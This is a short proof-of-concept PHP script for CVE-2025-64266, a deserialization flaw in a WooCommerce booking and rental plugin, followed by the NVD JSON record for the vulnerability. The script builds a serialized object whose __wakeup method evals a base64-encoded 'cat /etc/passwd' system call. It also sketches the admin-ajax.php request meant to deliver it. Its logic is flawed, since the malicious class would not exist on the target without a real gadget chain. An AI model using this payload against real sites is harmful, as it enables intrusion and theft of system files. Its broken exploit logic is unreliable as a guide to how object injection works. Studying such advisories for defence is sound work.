CVE-2025-64266

<?php // CVE-2025-64266 PoC - PHP Object Injection // This is a conceptual proof of concept demonstrating the unsafe deserialization vulnerability // Malicious payload construction class MaliciousClass { public $data; public function __construct() { $this->data = 'malicious payload'; } // This magic method will be called during deserialization public function __wakeup() { // Arbitrary code execution can be performed here eval(base64_decode('c3lzdGVtKCdjYXQgL2V0Yy9wYXNzd2QnKTs=')); // cat /etc/passwd } } // Generate malicious serialized object $malicious_object = new MaliciousClass(); $payload = serialize($malicious_object); // In real attack, this payload would be sent via HTTP request // to a vulnerable endpoint that calls unserialize() on user input echo "Malicious Payload: " . $payload . "\n"; echo "Base64 Encoded: " . base64_encode($payload) . "\n"; // Example HTTP request that could trigger the vulnerability: // POST /wp-admin/admin-ajax.php HTTP/1.1 // Content-Type: application/x-www-form-urlencoded // ... // action=booking_action&booking_data=BASE64_ENCODED_PAYLOAD ?>

{"cve": {"id": "CVE-2025-64266", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:16:13.180", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Deserialization of Untrusted Data vulnerability in magepeopleteam Booking and Rental Manager booking-and-rental-manager-for-woocommerce allows Object Injection.This issue affects Booking and Rental Manager: from n/a through <= 2.5.4."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/booking-and-rental-manager-for-woocommerce/vulnerability/wordpress-booking-and-rental-manager-plugin-2-5-4-php-object-injection-vulnerability?_s_id=cve", "source": "[email protected]"}]}}